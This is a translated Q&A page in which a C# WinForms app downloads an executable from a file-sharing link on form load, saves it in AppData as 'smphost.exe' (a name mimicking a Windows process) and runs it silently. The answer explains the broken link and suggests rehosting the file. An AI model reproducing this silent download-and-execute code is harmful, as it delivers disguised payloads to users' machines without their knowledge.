文件无法打开,因为它已损坏或不可读?

时间:2017-07-25 09:53:24

标签: c# .net windows visual-studio

如下所示,我正在下载一个文件并在我的主应用程序加载后打开它,我正在下载的这个应用程序是一个帮助主应用程序的后台应用程序。

当我编译它时,我收到此错误:

System.ComponentModel.Win32Exception: 'The file or directory is corrupted and unreadable'

该错误发生在Process.Start行上。

代码:

private void Form1_Load(object sender, EventArgs e)
{
    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + _appDataFolder))
    {
        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder);
    }

    WebClient webClient = new WebClient();
    webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(Completed);
    webClient.DownloadFileAsync(new Uri(
        "https://fs03n3.sendspace.com/dl/021593313c2769e2f3bb14b965ebe933/59770ba30a083303/3tpj8o/dl.exe"),
        Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe");
}

private void Completed(object sender, AsyncCompletedEventArgs e)
{
    var path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe";

    if (!File.Exists(path))
    {
        return;
    }

    Process.Start(path);
}

1 个答案:

答案 0 :(得分:3)

我认为问题在于您的下载网址。我在浏览器中打开了https://fs03n3.sendspace.com/dl/021593313c2769e2f3bb14b965ebe933/59770ba30a083303/3tpj8o/dl.exe并且没有下载该文件,而是转到了下载页面。这就是为什么你无法运行该文件的原因,因为你已经下载了其他内容(我运行了你的代码,下载的文件是0KB)。

我建议您应该将文件上传到您喜欢的云存储驱动器,然后使用新的下载URL。

相关问题